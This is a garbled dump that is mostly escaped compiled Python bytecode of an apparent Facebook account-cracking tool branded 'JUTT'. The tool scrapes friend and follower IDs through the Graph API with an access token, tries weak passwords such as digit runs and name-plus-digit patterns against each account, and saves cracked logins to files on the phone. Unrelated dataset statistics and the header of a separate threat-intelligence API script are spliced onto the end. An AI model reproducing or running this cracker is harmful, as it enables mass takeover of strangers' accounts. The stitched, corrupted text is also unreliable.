s\x1a\x00\x00\x00/subscribers?access_token=s\r\x00\x00\x00&limit=999999R3\x00\x00\x00s/\x00\x00\x00\x1b[1;93m~~~~ Auto pass File cracking ~~~~\x1b[1;91ms\x0f\x00\x00\x00[+] File Name: R\x06\x00\x00\x00s\x13\x00\x00\x00[!] File Not Found.s\x15\x00\x00\x00Press Enter To Back. t\x01\x00\x00\x000R\x05\x00\x00\x00s\x14\x00\x00\x00\tChoose valid options\x0c\x00\x00\x00 Total ids: g\x00\x00\x00\x00\x00\x00\xe0?s\x1d\x00\x00\x00 \x1b[1;97mCrack Running\x1b[1;91m s$\x00\x00\x00\t\x1b[1;94mJutt King Of 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\x1b[1;32ms\x03\x00\x00\x00 | s\x07\x00\x00\x00\x1b[0;97ms\x17\x00\x00\x00/sdcard/ids/JUTT_OK.txtt\x01\x00\x00\x00as\x01\x00\x00\x00\ns\x10\x00\x00\x00www.facebook.comR9\x00\x00\x00s\x13\x00\x00\x00\x1b[1;31;1m[JUTT-CP] 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\x1b[1;92mCrack Dones\x14\x00\x00\x00 \x1b[1;92mTotal Ok/Cp:t\x01\x00\x00\x00/s\x1b\x00\x00\x00 \x1b[1;93mPress enter to back(\x1b\x00\x00\x00R\x16\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00R\x12\x00\x00\x00R\x13\x00\x00\x00RW\x00\x00\x00R%\x00\x00\x00R&\x00\x00\x00R\x14\x00\x00\x00R\x0f\x00\x00\x00R\x10\x00\x00\x00R[\x00\x00\x00t\x06\x00\x00\x00rsplitRu\x00\x00\x00R\r\x00\x00\x00t\t\x00\x00\x00readlinest\x05\x00\x00\x00stripRc\x00\x00\x00R.\x00\x00\x00R\x19\x00\x00\x00t\x03\x00\x00\x00strt\x03\x00\x00\x00lenR\x0b\x00\x00\x00R\x0c\x00\x00\x00R\x00\x00\x00\x00t\x03\x00\x00\x00map(\x12\x00\x00\x00R\x1f\x00\x00\x00Rb\x00\x00\x00t\x03\x00\x00\x00idtR\x06\x00\x00\x00R@\x00\x00\x00R)\x00\x00\x00t\x01\x00\x00\x00iR;\x00\x00\x00t\x02\x00\x00\x00nat\x02\x00\x00\x00nmt\x02\x00\x00\x00p1t\x02\x00\x00\x00p2t\x02\x00\x00\x00p3t\x02\x00\x00\x00p4t\x06\x00\x00\x00idlistt\x04\x00\x00\x00lineR\x86\x00\x00\x00t\x01\x00\x00\x00p(\x00\x00\x00\x00(\x02\x00\x00\x00R\x84\x00\x00\x00R\x85\x00\x00\x00s\x04\x00\x00\x00AsepRb\x00\x00\x00S\x01\x00\x00s\xbc\x00\x00\x00\x00\x01\x06\x01\x06\x01\x06\x01\x0c\x01\x0c\x01\r\x01\x05\x01\x05\x01\t\x01\x0c\x01\x03\x01\x1b\x01\x12\x01\n\x01\r\x01\x05\x01\x05\x01\r\x01\x13\x01\x05\x01\n\x01\x0b\x02\x1b\x01\x12\x01\x11\x01\n\x01\n\x01\x13\x01\x1c\x02\x0c\x01\r\x01\x05\x01\x05\x01\t\x01\x05\x01\t\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x03\x01\x1b\x01\x12\x01\n\x01\r\x01\x05\x01\x05\x01\r\x01\x13\x01\x05\x01\n\x01\x0b\x02\x1f\x01\x12\x01\x11\x01\n\x01\n\x01\x13\x01\x1c\x02\x0c\x01\r\x01\x05\x01\x05\x01\t\x01\x03\x01\x0c\x01\x1c\x01\x1b\x02\r\x01\x05\x01\n\x01\x0e\x02\x0c\x01\n\x02\x05\x01\t\x01\x07\x01\x15\x01\r\x01\x05\x01\r\x01\t\x01\x05\x01\t\x02\x12\xa6\x0c\x01\x10\x01\t\x01\x05\x01)\x01\t\x01\n\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\x9d\x00\x00\x00y\x19\x00t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00a\x02\x00WnB\x00\x04t\x03\x00t\x04\x00f\x02\x00k\n\x00r]\x00\x01\x01\x01t\x05\x00j\x06\x00d\x03\x00\x83\x01\x00\x01t\x07\x00GHd\x04\x00GHt\x08\x00j\t\x00d\x05\x00\x83\x01\x00\x01t\n\x00\x83\x00\x00\x01n\x01\x00Xt\x05\x00j\x06\x00d\x03\x00\x83\x01\x00\x01t\x07\x00GHd\x06\x00GHd\x07\x00d\x08\x00\x14GHd\t\x00GHd\n\x00GHd\x0b\x00GHd\x0c\x00GHt\x0b\x00\x83\x00\x00\x01d\x00\x00S(\r\x00\x00\x00Ns\t\x00\x00\x00login.txtR\x06\x00\x00\x00R\x04\x00\x00\x00s\x18\x00\x00\x00\t File Not Found \x1b[0;97mi\x01\x00\x00\x00s,\x00\x00\x00\x1b[1;93m~~~~ Number pass cracking ~~~~\x1b[1;91mi/\x00\x00\x00R-\x00\x00\x00s\x1c\x00\x00\x00\x1b[1;92m[1] Public id clonings\x1c\x00\x00\x00\x1b[1;92m[2] Followers clonings\x17\x00\x00\x00\x1b[1;92m[3] File clonings\x0f\x00\x00\x00\x1b[1;92m[0] Back(\x0c\x00\x00\x00R\r\x00\x00\x00R\x0e\x00\x00\x00Ra\x00\x00\x00R\x0f\x00\x00\x00R\x10\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00R\x0b\x00\x00\x00R\x0c\x00\x00\x00R\'\x00\x00\x00t\x03\x00\x00\x00c_s(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00Asept\x07\x00\x00\x00crack_ba\x02\x00\x00s"\x00\x00\x00\x00\x02\x03\x01\x19\x01\x13\x01\r\x01\x05\x01\x05\x01\r\x01\x0b\x02\r\x01\x05\x01\x05\x01\t\x01\x05\x01\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\x9d\x00\x00\x00y\x19\x00t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00a\x02\x00WnB\x00\x04t\x03\x00t\x04\x00f\x02\x00k\n\x00r]\x00\x01\x01\x01t\x05\x00j\x06\x00d\x03\x00\x83\x01\x00\x01t\x07\x00GHd\x04\x00GHt\x08\x00j\t\x00d\x05\x00\x83\x01\x00\x01t\n\x00\x83\x00\x00\x01n\x01\x00Xt\x05\x00j\x06\x00d\x03\x00\x83\x01\x00\x01t\x07\x00GHd\x06\x00GHd\x07\x00d\x08\x00\x14GHd\t\x00GHd\n\x00GHd\x0b\x00GHd\x0c\x00GHt\x0b\x00\x83\x00\x00\x01d\x00\x00S(\r\x00\x00\x00Ns\x10\x00\x00\x00access_token.txtR\x06\x00\x00\x00R\x04\x00\x00\x00s&\x00\x00\x00\x1b[1;93m~~~ Login FB id to continue ~~~i\x01\x00\x00\x00s,\x00\x00\x00\x1b[1;93m~~~~ Number pass cracking ~~~~\x1b[1;91mi/\x00\x00\x00R-\x00\x00\x00s\x1c\x00\x00\x00\x1b[1;92m[1] Public id clonings\x1c\x00\x00\x00\x1b[1;92m[2] Followers clonings\x17\x00\x00\x00\x1b[1;92m[3] File clonings\x0f\x00\x00\x00\x1b[1;92m[B] Back(\x0c\x00\x00\x00R\r\x00\x00\x00R\x0e\x00\x00\x00RW\x00\x00\x00R\x0f\x00\x00\x00R\x10\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00R\x0b\x00\x00\x00R\x0c\x00\x00\x00R\'\x00\x00\x00R\x99\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00AsepR\\\x00\x00\x00w\x02\x00\x00s"\x00\x00\x00\x00\x02\x03\x01\x19\x01\x13\x01\r\x01\x05\x01\x05\x01\r\x01\x0b\x02\r\x01\x05\x01\x05\x01\t\x01\x05\x01\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x0e\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00s;\x05\x00\x00g\x00\x00}\x00\x00g\x00\x00\x89\x00\x00g\x00\x00\x89\x01\x00t\x00\x00d\x01\x00\x83\x01\x00}\x01\x00|\x01\x00d\x02\x00k\x02\x00r\xb8\x01t\x01\x00j\x02\x00d\x03\x00\x83\x01\x00\x01t\x03\x00GHd\x04\x00GHd\x05\x00d\x06\x00\x14GHd\x07\x00GHd\x05\x00d\x06\x00\x14GHt\x00\x00d\x08\x00\x83\x01\x00\x89\x02\x00t\x00\x00d\t\x00\x83\x01\x00\x89\x03\x00t\x00\x00d\n\x00\x83\x01\x00\x89\x04\x00t\x00\x00d\x0b\x00\x83\x01\x00\x89\x05\x00t\x00\x00d\x0c\x00\x83\x01\x00\x89\x06\x00t\x00\x00d\r\x00\x83\x01\x00\x89\x07\x00t\x00\x00d\x0e\x00\x83\x01\x00}\x02\x00y[\x00t\x04\x00j\x05\x00d\x0f\x00|\x02\x00\x17d\x10\x00\x17t\x06\x00\x17\x83\x01\x00}\x03\x00t\x07\x00j\x08\x00|\x03\x00j\t\x00\x83\x01\x00}\x04\x00|\x04\x00d\x11\x00\x19}\x05\x00t\x01\x00j\x02\x00d\x03\x00\x83\x01\x00\x01t\x03\x00GHd\x12\x00GHd\x13\x00|\x05\x00\x17GHWn-\x00\x04t\n\x00t\x0b\x00f\x02\x00k\n\x00r6\x01\x01\x01\x01d\x14\x00GHt\x00\x00d\x15\x00\x83\x01\x00\x01t\x0c\x00\x83\x00\x00\x01n\x01\x00Xt\x04\x00j\x05\x00d\x0f\x00|\x02\x00\x17d\x16\x00\x17t\x06\x00\x17\x83\x01\x00}\x03\x00t\x07\x00j\x08\x00|\x03\x00j\t\x00\x83\x01\x00}\x05\x00x\xf4\x02|\x05\x00d\x17\x00\x19D]B\x00}\x06\x00|\x06\x00d\x18\x00\x19}\x07\x00|\x06\x00d\x11\x00\x19}\x08\x00|\x08\x00j\r\x00d\x19\x00\x83\x01\x00d\x1a\x00\x19}\t\x00|\x00\x00j\x0e\x00|\x07\x00d\x1b\x00\x17|\t\x00\x17\x83\x01\x00\x01qo\x01Wn\xa3\x02|\x01\x00d\x1c\x00k\x02\x00r>\x03t\x01\x00j\x02\x00d\x03\x00\x83\x01\x00\x01t\x03\x00GHd\x1d\x00GHd\x05\x00d\x06\x00\x14GHd\x07\x00GHd\x05\x00d\x06\x00\x14GHt\x00\x00d\x08\x00\x83\x01\x00\x89\x02\x00t\x00\x00d\t\x00\x83\x01\x00\x89\x03\x00t\x00\x00d\n\x00\x83\x01\x00\x89\x04\x00t\x00\x00d\x0b\x00\x83\x01\x00\x89\x05\x00t\x00\x00d\x1e\x00\x83\x01\x00}\x02\x00y[\x00t\x04\x00j\x05\x00d\x0f\x00|\x02\x00\x17d\x10\x00\x17t\x06\x00\x17\x83\x01\x00}\x03\x00t\x07\x00j\x08\x00|\x03\x00j\t\x00\x83\x01\x00}\x04\x00|\x04\x00d\x11\x00\x19}\x05\x00t\x01\x00j\x02\x00d\x03\x00\x83\x01\x00\x01t\x03\x00GHd\x1f\x00GHd\x13\x00|\x05\x00\x17GHWn-\x00\x04t\n\x00t\x0b\x00f\x02\x00k\n\x00r\xb8\x02\x01\x01\x01d\x14\x00GHt\x00\x00d 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\x1b[1;97m\xe2\x95\xb0\xe2\x94\x80jutt\xe2\x9e\xa4 R1\x00\x00\x00R\x04\x00\x00\x00s4\x00\x00\x00\x1b[1;93m ~~~~ Number pass Public cracking ~~~~\x1b[1;91mi/\x00\x00\x00R-\x00\x00\x00s6\x00\x00\x00\x1b[1;93m For example:234567,223344,334455,445566\x1b[1;91ms\x15\x00\x00\x00 \x1b[1;92m[1]Password: s\x15\x00\x00\x00 \x1b[1;92m[2]Password: s\x15\x00\x00\x00 \x1b[1;92m[3]Password: s\x15\x00\x00\x00 \x1b[1;92m[4]Password: s\x15\x00\x00\x00 \x1b[1;92m[5]Password: s\x15\x00\x00\x00 \x1b[1;92m[6]Password: s\x17\x00\x00\x00 \x1b[1;93m[\xe2\x98\x85]Enter id: s\x1b\x00\x00\x00https://graph.facebook.com/s\x0e\x00\x00\x00?access_token=RU\x00\x00\x00s-\x00\x00\x00\x1b[1;93m ~~~~ Number pass Public cracking ~~~~s\x0f\x00\x00\x00 Cloning from: s\x16\x00\x00\x00\t Invalid user \x1b[0;97ms\x1a\x00\x00\x00 Press enter to try again s\x16\x00\x00\x00/friends?access_token=R?\x00\x00\x00R\x1f\x00\x00\x00Rd\x00\x00\x00i\x00\x00\x00\x00Re\x00\x00\x00R2\x00\x00\x00s6\x00\x00\x00\x1b[1;93m~~~~ Number pass followers cracking ~~~~\x1b[1;91ms\x12\x00\x00\x00 \x1b[1;93mEnter id: s/\x00\x00\x00\x1b[1;93m~~~~ Number pass followers cracking ~~~~s\x19\x00\x00\x00Press enter to try again s\x1a\x00\x00\x00/subscribers?access_token=s\r\x00\x00\x00&limit=999999R3\x00\x00\x00s2\x00\x00\x00\x1b[1;93m ~~~~ Number pass File cracking ~~~~\x1b[1;91ms\x0f\x00\x00\x00[+] File Name: R\x06\x00\x00\x00s\x13\x00\x00\x00[!] File Not Found.s\x15\x00\x00\x00Press Enter To Back. Rf\x00\x00\x00R\x05\x00\x00\x00s\x15\x00\x00\x00\t Choose valid options\x0c\x00\x00\x00 Total ids: g\x00\x00\x00\x00\x00\x00\xe0?s$\x00\x00\x00 \x1b[1;97m~~~ Crack Running ~~~\x1b[1;91ms#\x00\x00\x00\t\x1b[1;94mJutt King Of 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\x1b[1;32ms\x03\x00\x00\x00 | s\x07\x00\x00\x00\x1b[0;97ms\x17\x00\x00\x00/sdcard/ids/JUTT_OK.txtRh\x00\x00\x00s\x01\x00\x00\x00\ns\x10\x00\x00\x00www.facebook.comR9\x00\x00\x00s\x13\x00\x00\x00\x1b[1;31;1m[JUTT-CP] s\x0b\x00\x00\x00JUTT_CP.txt(\x0c\x00\x00\x00Rr\x00\x00\x00R\x12\x00\x00\x00R\x13\x00\x00\x00Rt\x00\x00\x00R\x14\x00\x00\x00R%\x00\x00\x00R&\x00\x00\x00R\r\x00\x00\x00R\x1d\x00\x00\x00R\x1e\x00\x00\x00Ru\x00\x00\x00Rv\x00\x00\x00(\x08\x00\x00\x00Rw\x00\x00\x00Rx\x00\x00\x00R;\x00\x00\x00RU\x00\x00\x00R?\x00\x00\x00R@\x00\x00\x00RT\x00\x00\x00Rz\x00\x00\x00(\x08\x00\x00\x00R\x84\x00\x00\x00R\x85\x00\x00\x00Ry\x00\x00\x00R{\x00\x00\x00R|\x00\x00\x00R}\x00\x00\x00R~\x00\x00\x00R\x7f\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00AsepR\x86\x00\x00\x00\xfb\x02\x00\x00s\xb2\x00\x00\x00\x00\x01\x06\x01\x15\x01\x03\x01$\x01\x0f\x01\x0c\x01\x15\x01\x0f\x01\x19\x01\n\x01\x14\x01\x10\x01\x11\x01\x0f\x01\x19\x01\n\x01\x14\x02$\x01\x0f\x01\x0c\x01\x15\x01\x0f\x01\x19\x01\n\x01\x14\x01\x10\x01\x11\x01\x0f\x01\x19\x01\n\x01\x14\x02$\x01\x0f\x01\x0c\x01\x15\x01\x0f\x01\x19\x01\n\x01\x14\x01\x10\x01\x11\x01\x0f\x01\x19\x01\n\x01\x14\x02$\x01\x0f\x01\x0c\x01\x15\x01\x0f\x01\x19\x01\n\x01\x14\x01\x10\x01\x11\x01\x0f\x01\x19\x01\n\x01\x14\x02$\x01\x0f\x01\x0c\x01\x15\x01\x0f\x01\x19\x01\n\x01\x14\x01\x10\x01\x11\x01\x0f\x01\x19\x01\n\x01\x14\x02$\x01\x0f\x01\x0c\x01\x15\x01\x0f\x01\x19\x01\n\x01\x14\x01\x10\x01\x11\x01\x0f\x01\x19\x01\n\x01\x18\x01\x03\x01i\x1e\x00\x00\x00s\x12\x00\x00\x00 \x1b[1;92mCrack Dones\x14\x00\x00\x00\x1b[1;92m Total Ok/Cp:R\x87\x00\x00\x00s\x1b\x00\x00\x00\x1b[1;93m Press enter to back(\x1d\x00\x00\x00R\x16\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00R\x12\x00\x00\x00R\x13\x00\x00\x00RW\x00\x00\x00R%\x00\x00\x00R&\x00\x00\x00R\x14\x00\x00\x00R\x0f\x00\x00\x00R\x10\x00\x00\x00R\\\x00\x00\x00R\x88\x00\x00\x00Ru\x00\x00\x00R[\x00\x00\x00R\r\x00\x00\x00R\x89\x00\x00\x00R\x8a\x00\x00\x00R\x9a\x00\x00\x00R.\x00\x00\x00R\x19\x00\x00\x00R\x99\x00\x00\x00R\x8b\x00\x00\x00R\x8c\x00\x00\x00R\x0b\x00\x00\x00R\x0c\x00\x00\x00R\x00\x00\x00\x00R\x8d\x00\x00\x00(\x0e\x00\x00\x00R\x1f\x00\x00\x00Rb\x00\x00\x00R\x8e\x00\x00\x00R\x06\x00\x00\x00R@\x00\x00\x00R)\x00\x00\x00R\x8f\x00\x00\x00R;\x00\x00\x00R\x90\x00\x00\x00R\x91\x00\x00\x00R\x96\x00\x00\x00R\x97\x00\x00\x00R\x86\x00\x00\x00R\x98\x00\x00\x00(\x00\x00\x00\x00(\x08\x00\x00\x00R\x84\x00\x00\x00R\x85\x00\x00\x00Ry\x00\x00\x00R{\x00\x00\x00R|\x00\x00\x00R}\x00\x00\x00R~\x00\x00\x00R\x7f\x00\x00\x00s\x04\x00\x00\x00AsepR\x99\x00\x00\x00\x8d\x02\x00\x00s\xdc\x00\x00\x00\x00\x01\x06\x01\x06\x01\x06\x01\x0c\x01\x0c\x01\r\x01\x05\x01\x05\x01\t\x01\x05\x01\t\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x03\x01\x1b\x01\x12\x01\n\x01\r\x01\x05\x01\x05\x01\r\x01\x13\x01\x05\x01\n\x01\x0b\x02\x1b\x01\x12\x01\x11\x01\n\x01\n\x01\x13\x01\x1c\x02\x0c\x01\r\x01\x05\x01\x05\x01\t\x01\x05\x01\t\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x03\x01\x1b\x01\x12\x01\n\x01\r\x01\x05\x01\x05\x01\r\x01\x13\x01\x05\x01\n\x01\x0b\x02\x1f\x01\x12\x01\x11\x01\n\x01\n\x01\x13\x01\x1c\x02\x0c\x01\r\x01\x05\x01\x05\x01\t\x01\x05\x01\t\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x0c\x01\x03\x01\x0c\x01\x1c\x01\x1b\x02\r\x01\x05\x01\n\x01\x0e\x02\x0c\x01\n\x02\x05\x01\t\x01\x07\x01\x15\x01\r\x01\x05\x01\r\x01\t\x01\x05\x01\t\x02$`\x0c\x01\x10\x01\t\x01\x05\x01)\x01\t\x01\n\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\xa2\x00\x00\x00y\x19\x00t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00a\x02\x00WnG\x00\x04t\x03\x00t\x04\x00f\x02\x00k\n\x00rb\x00\x01\x01\x01t\x05\x00j\x06\x00d\x03\x00\x83\x01\x00\x01t\x07\x00GHd\x04\x00GHd\x05\x00GHt\x08\x00j\t\x00d\x06\x00\x83\x01\x00\x01t\n\x00\x83\x00\x00\x01n\x01\x00Xt\x05\x00j\x06\x00d\x03\x00\x83\x01\x00\x01t\x07\x00GHd\x07\x00GHd\x08\x00d\t\x00\x14GHd\n\x00GHd\x0b\x00GHd\x0c\x00GHd\r\x00GHt\x0b\x00\x83\x00\x00\x01d\x00\x00S(\x0e\x00\x00\x00Ns\t\x00\x00\x00login.txtR\x06\x00\x00\x00R\x04\x00\x00\x00s\x18\x00\x00\x00\t File Not Found \x1b[0;97mR\x05\x00\x00\x00i\x01\x00\x00\x00s3\x00\x00\x00\x1b[1;93m~~~~ Name + Number pass cracking ~~~~\x1b[1;91mi/\x00\x00\x00R-\x00\x00\x00s\x1c\x00\x00\x00\x1b[1;92m[1] Public id clonings\x1c\x00\x00\x00\x1b[1;92m[2] Followers clonings\x17\x00\x00\x00\x1b[1;92m[3] File clonings\x0f\x00\x00\x00\x1b[1;92m[0] Back(\x0c\x00\x00\x00R\r\x00\x00\x00R\x0e\x00\x00\x00Ra\x00\x00\x00R\x0f\x00\x00\x00R\x10\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00R\x0b\x00\x00\x00R\x0c\x00\x00\x00R\'\x00\x00\x00Rb\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00AsepR\x9a\x00\x00\x00d\x03\x00\x00s$\x00\x00\x00\x00\x02\x03\x01\x19\x01\x13\x01\r\x01\x05\x01\x05\x01\x05\x01\r\x01\x0b\x02\r\x01\x05\x01\x05\x01\t\x01\x05\x01\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\xa2\x00\x00\x00y\x19\x00t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00a\x02\x00WnG\x00\x04t\x03\x00t\x04\x00f\x02\x00k\n\x00rb\x00\x01\x01\x01t\x05\x00j\x06\x00d\x03\x00\x83\x01\x00\x01t\x07\x00GHd\x04\x00GHd\x05\x00GHt\x08\x00j\t\x00d\x06\x00\x83\x01\x00\x01t\n\x00\x83\x00\x00\x01n\x01\x00Xt\x05\x00j\x06\x00d\x03\x00\x83\x01\x00\x01t\x07\x00GHd\x07\x00GHd\x08\x00d\t\x00\x14GHd\n\x00GHd\x0b\x00GHd\x0c\x00GHd\r\x00GHt\x0b\x00\x83\x00\x00\x01d\x00\x00S(\x0e\x00\x00\x00Ns\x10\x00\x00\x00access_token.txtR\x06\x00\x00\x00R\x04\x00\x00\x00s \x00\x00\x00\t Login FB id to continue\x1b[0;97mR\x05\x00\x00\x00i\x01\x00\x00\x00s3\x00\x00\x00\x1b[1;93m~~~~ Name + Number pass cracking ~~~~\x1b[1;91mi/\x00\x00\x00R-\x00\x00\x00s\x1c\x00\x00\x00\x1b[1;92m[1] Public id clonings\x1c\x00\x00\x00\x1b[1;92m[2] Followers clonings\x17\x00\x00\x00\x1b[1;92m[3] File clonings\x0f\x00\x00\x00\x1b[1;92m[B] Back(\x0c\x00\x00\x00R\r\x00\x00\x00R\x0e\x00\x00\x00RW\x00\x00\x00R\x0f\x00\x00\x00R\x10\x00\x00\x00R\x08\x00\x00\x00R\t\x00\x00\x00R\n\x00\x00\x00R\x0b\x00\x00\x00R\x0c\x00\x00\x00R\'\x00\x00\x00t\x03\x00\x00\x00n_s(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x04\x00\x00\x00AsepR]\x00\x00\x00{\x03\x00\x00s$\x00\x00\x00\x00\x02\x03\x01\x19\x01\x13\x01\r\x01\x05\x01\x05\x01\x05\x01\r\x01\x0b\x02\r\x01\x05\x01\x05\x01\t\x01\x05\x01\x05\x01\x05\x01\x05\x01c\x00\x00\x00\x00\x0e\x00\x00\x00\n\x00\x00\x00\x03\x00\x00\x00sq\x05\x00\x00g\x00\x00}\x00\x00g\x00\x00\x89\x00\x00g\x00\x00\x89\x01\x00t\x00\x00d\x01\x00\x83\x01\x00}\x01\x00|\x01\x00d\x02\x00k\x02\x00r\xd0\x01t\x01\x00j\x02\x00d\x03\x00\x83\x01\x00\x01t\x03\x00GHd\x04\x00GHd\x05\x00d\x06\x00\x14GHd\x07\x00GHd\x05\x00d\x06\x00\x14GHt\x00\x00d\x08\x00\x83\x01\x00\x89\x02\x00t\x00\x00d\t\x00\x83\x01\x00\x89\x03\x00t\x00\x00d\n\x00\x83\x01\x00\x89\x04\x00t\x00\x00d\x0b\x00\x83\x01\x00\x89\x05\x00t\x00\x00d\x0c\x00\x83\x01\x00\x89\x06\x00t\x00\x00d\r\x00\x83\x01\x00\x89\x07\x00t\x00\x00d\x0e\x00\x83\x01\x00\x89\x08\x00t\x00\x00d\x0f\x00\x83\x01\x00\x89\t\x00t\x00\x00d\x10\x00\x83\x01\x00}\x02\x00y[\x00t\x04\x00j\x05\x00d\x11\x00|\x02\x00\x17d\x12\x00\x17t\x06\x00\x17\x83\x01\x00}\x03\x00t\x07\x00j\x08\x00|\x03\x00j\t\x00\x83\x01\x00}\x04\x00|\x04\x00d\x13\x00\x19}\x05\x00t\x01\x00j\x02\x00d\x03\x00\x83\x01\x00\x01t\x03\x00GHd\x14\x00GHd\x15\x00|\x05\x00\x17GHWn-\x00\x04t\n\x00t\x0b\x00f\x02\x00k\n\x00rN\x01\x01\x01\x01d\x16\x00GHt\x00\x00d\x17\x00\x83\x01\x00\x01t\x0c\x00\x83\x00\x00\x01n\x01\x00Xt\x04\x00j\x05\x00d\x11\x00|\x02\x00\x17d\x18\x00\x17t\x06\x00\x17\x83\x01\x00}\x03\x00t\x07\x00j\x08\x00|\x03\x00j\t\x00\x83\x01\x00}\x05\x00x\x0c\x03|\x05\x00d\x19\x00\x19D]B\x00}\x06\x00|\x06\x00d\x1a\x00\x19}\x07\x00|\x06\x00d\x13\x00\x19}\x08\x00|\x08\x00j\r\x00d\x1b\x00\x83\x01\x00d\x1c\x00\x19}\t\x00|\x00\x00j\x0e\x00|\x07\x00d\x1d\x00\x17|\t\x00\x17\x83\x01\x00\x01q\x87\x01Wn\xbb\x02|\x01\x00d\x1e\x00k\x02\x00rV\x03t\x01\x00j\x02\x00d\x03\x00\x83\x01\x00\x01t\x03\x00GHd\x1f\x00GHd\x05\x00d\x06\x00\x14GHd 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\x1b[1;97m\xe2\x95\xb0\xe2\x94\x80jutt\xe2\x9e\xa4 R1\x00\x00\x00R\x04\x00\x00\x00s:\x00\x00\x00\x1b[1;93m~~~~ Name + Number pass public cracking ~~~~\x1b[1;91mi/\x00\x00\x00R-\x00\x00\x00s4\x00\x00\x00\x1b[1;93mFor example:123,1234,12345,786,12,1122\x1b[1;91ms\x19\x00\x00\x00 \x1b[1;92m[1]Name + digit: s\x19\x00\x00\x00 \x1b[1;92m[2]Name + digit: s\x19\x00\x00\x00 \x1b[1;92m[3]Name + digit: s\x19\x00\x00\x00 \x1b[1;92m[4]Name + digit: s\x15\x00\x00\x00 \x1b[1;92m[5]Password: s\x15\x00\x00\x00 \x1b[1;92m[6]Password: s\x15\x00\x00\x00 \x1b[1;92m[7]Password: s\x15\x00\x00\x00 \x1b[1;92m[8]Password: s\x17\x00\x00\x00 \x1b[1;93m[\xe2\x98\x85]Enter id: s\x1b\x00\x00\x00https://graph.facebook.com/s\x0e\x00\x00\x00?access_token=RU\x00\x00\x00s(\x00\x00\x00\x1b[1;93m~~~~Name pass public cracking~~~~s\x16\x00\x00\x00 \x1b[1;92mCloning from: s\x16\x00\x00\x00\t Invalid user \x1b[0;97ms!\x00\x00\x00 \x1b[1;92mPress enter to try again s\x16\x00\x00\x00/friends?access_token=R?\x00\x00\x00R\x1f\x00\x00\x00Rd\x00\x00\x00i\x00\x00\x00\x00Re\x00\x00\x00R2\x00\x00\x00s4\x00\x00\x00\x1b[1;93m~~~~ Name pass followers cracking ~~~~\x1b[1;91ms5\x00\x00\x00 \x1b[1;93mFor example:123,1234,12345,786,12,1122\x1b[1;91ms-\x00\x00\x00\x1b[1;93m~~~~ Name pass followers cracking ~~~~s \x00\x00\x00\x1b[1;92mPress enter to try again s\x1a\x00\x00\x00/subscribers?access_token=s\r\x00\x00\x00&limit=999999R3\x00\x00\x00s8\x00\x00\x00\x1b[1;93m~~~~ Name + Number pass File cracking ~~~~\x1b[1;91ms\x0f\x00\x00\x00[+] File Name: R\x06\x00\x00\x00s\x13\x00\x00\x00[!] File Not Found.s\x15\x00\x00\x00Press Enter To Back. Rf\x00\x00\x00R\x05\x00\x00\x00s\x14\x00\x00\x00\tChoose valid options\x0c\x00\x00\x00 Total ids: g\x00\x00\x00\x00\x00\x00\xe0?s\x1d\x00\x00\x00 \x1b[1;97mCrack Running\x1b[1;91m s$\x00\x00\x00\t\x1b[1;94mJutt King Of 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| 31,785.714286
| 222,313
| 0.999052
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| 2,315.510417
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| 0.000414
| 0.000405
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.082794
| 0.00009
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| 6
| 222,314
| 37,083.333333
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| 0.000692
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| 0.999766
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| null | null | 0
| 0.5
| null | null | 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
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0
| 10
|
af52129093da3eb06958d1559593e058f5ce1682
| 24,154
|
py
|
Python
|
alien.py
|
Erlopek/AlienVault-OTX
|
df322447c975d010d0ab60422313cbcdf2c672e6
|
[
"Apache-2.0"
] | 2
|
2019-01-17T20:22:22.000Z
|
2021-01-21T03:45:51.000Z
|
alien.py
|
ravifatty/AlienVault-OTX
|
8ddff00008aa2b8c2474d36795cc547d3317fbc8
|
[
"Apache-2.0"
] | null | null | null |
alien.py
|
ravifatty/AlienVault-OTX
|
8ddff00008aa2b8c2474d36795cc547d3317fbc8
|
[
"Apache-2.0"
] | 1
|
2020-06-18T06:51:21.000Z
|
2020-06-18T06:51:21.000Z
|
"""
Python 3
OTX API v2.0
__author__ = "Erlopek"
__copyright__ = "Copyright 2018, Erlopek"
__license__ = "Apache License"
__version__ = "1.0.1"
__maintainer__ = "Erlopek"
__email__ = "33432468+Erlopek@users.noreply.github.com"
__status__ = "Beta"
"""
from OTXv2 import OTXv2
import IndicatorTypes
import argparse
import sys
# Your API key
API_KEY = 'xxx'
OTX_SERVER = 'https://otx.alienvault.com/'
